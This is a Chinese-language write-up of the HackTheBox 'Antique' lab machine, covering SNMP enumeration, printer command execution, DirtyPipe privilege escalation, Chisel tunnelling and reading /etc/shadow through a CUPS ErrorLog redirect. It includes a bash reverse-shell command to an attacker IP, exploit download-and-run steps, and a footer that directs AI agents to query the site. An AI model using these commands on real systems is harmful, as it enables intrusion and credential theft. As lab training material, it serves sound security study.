> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md). # Antique HackTheBox 复盘 Antique HackTheBox 简单 Linux 机器复盘，涵盖 SNMP 枚举、网络打印机滥用、CUPS 管理利用（ErrorLog）、额外内容 ->（DirtyPipe）（CVE-2022-0847]，并包含实用的枚 {% embed url="" %} {% hint style="warning" %} 技能： * SNMP 枚举 * 网络打印机滥用 * CUPS 管理利用（ErrorLog） * 额外 ->（DirtyPipe）（CVE-2022-0847] {% endhint %} ## 侦察 **工作区设置：** 我们将通过创建三个文件夹来建立工作区，用于存储重要内容、漏洞利用和使用 Nmap 进行的侦察结果
**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。
### 扫描 TCP： 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts ```
**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板（23.7777）
**使用 Nmap 进行端口版本扫描：** 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p23,7777 10.10.11.107 -oN targeted ```
### 扫描 UDP： **使用 Nmap 发现开放端口：** 我们还会对 UDP 端口进行扫描，使用 **Nmap**: ```bash nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP ``` 我们再次提取结果，使用 `extractPorts`，并且我们观察到端口的开放 **161**，由 SNMP 使用。:
## 探索服务 ### 端口 23（Telnet）– HP JetDirect 当尝试连接到端口 **23** 通过 **Telnet**时，我们遇到了一个要求我们输入密码的 HP JetDirect 服务。我们可以尝试使用以下方式连接： ```bash nc -vn 10.10.11.107 23 ```
### 端口 161（SNMP） {% embed url="" %} 我们使用 **snmpbulkwalk** 来枚举在端口上暴露的 SNMP 服务 **161**: ```bash snmpbulkwalk -c public -v2c 10.10.11.107 . ```
```bash 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 ``` 这为我们提供了一个十六进制字符串，我们将其转换为 ASCII 以获得可读内容： {% code overflow="wrap" %} ```bash echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r ``` {% endcode %}
这个通道包含一些有趣的信息，但没有立即可用于利用的内容。 ```bash nc -vn 10.10.11.107 23 P@ssw0rd@123!!123 ```
当尝试在端口 23（JetDirect）上将字符串注入为密码时，我们使用如下尝试： ```bash P@ssw0rd@123!!123 ```
## 网络打印机滥用 我们已经检测到可以通过网络打印机执行命令。利用该漏洞依赖于 `exec` 命令，该命令允许注入远程命令。例如： ```bash exec id ```
这会返回系统凭据，并允许执行其他命令。 **反向 Shell** 我们使用 **nc** 在端口 **443** 攻击机： ```bash nc -nvlp 443 ``` ```bash exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" ```
接下来，我们调整 shell 会话以获得更好的控制： ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### user.txt 标志 :)
## 权限提升 ## 1. DirtyPipe 利用 {% embed url="" %} 我们检查了这台机器是否易受 DirtyPipe 漏洞利用影响，这是一个允许修改正在运行的系统文件的漏洞。我们发现这台机器具有 **gcc**，一个 C 编译器，可用的位置为 `/usr/bin/gcc`. ```bash lp@antique:/home/lp$ which gcc /usr/bin/gcc ``` 接下来，我们使用 **Python3** 将漏洞利用程序从本地机器传输到目标机器。在本地机器上，我们启动了一个 HTTP 服务器来托管该漏洞利用程序： ```bash python3 -m http.server ``` 在受害机上，我们下载了该漏洞利用程序： ```bash wget http://10.10.14.4/exploit.c ```
在恢复出漏洞利用程序后，我们用 **gcc**: ```bash gcc exploit.c -o exploit ``` {% hint style="info" %} 该漏洞利用程序通过注入一个密码哈希来修改 `/etc/passwd` 通过注入密码哈希来修改文件，并添加一个用户 `aaron` 并设置一个特定密码，所有这些都是为了实现提权。 {% endhint %}
最后，只需运行该脚本： ```bash ./exploit ``` 这使我们能够获得 `root`/*/* 对这台机器的访问权限
## 2. 使用 Chisel 进行端口转发 通过检查目标机器上的开放端口，我们发现了端口 **631** （用于 CUPS）。使用以下命令，我们确认了 CUPS 服务的存在： ```bash netstat -nat ``` CUPS 服务的版本是 **1.6.1** ，我们已确定它可能存在漏洞。为了重定向此端口，我们使用了 **Chisel**，一种隧道工具。
我们首先在本地机器上编译了 Chisel： {% embed url="" %} ```bash go build -ldflags "-s -w" . upx chisel ``` 接下来，我们通过 Python3 HTTP 服务器将 Chisel 可执行文件传输到受害机器： ```bash python3 -m http.server 8080 wget http://10.10.14.4:8080/chisel ```
在我们的机器上，我们启动了 Chisel 服务器： ```bash chisel server -p 8888 -reverse ``` 然后，在受害机器上，我们配置 Chisel 客户端，将端口 631 重定向到我们的本地机器： ```bash ./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631 ```
这使我们能够通过安全隧道访问目标机器的 CUPS Web 界面。 ### CUPS 1.6.1 漏洞利用 {% embed url="" %} 使用 **cupsctl**，我们修改了 **CUPS** 服务配置以将 **ErrorLog** 文件重定向到一个敏感文件，例如 **/etc/shadow**。这使得可以通过 CUPS Web 界面以 root 身份读取该文件。 修改配置的命令： ```bash cupsctl ErrorLog=/etc/shadow ``` 然后，我们通过隧道访问 CUPS 服务器上的以下 URL，进入 CUPS Web 界面： 这使得能够查看 **/etc/shadow** 文件的内容并获取 `root.txt` flag。
### root.txt 标志 :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.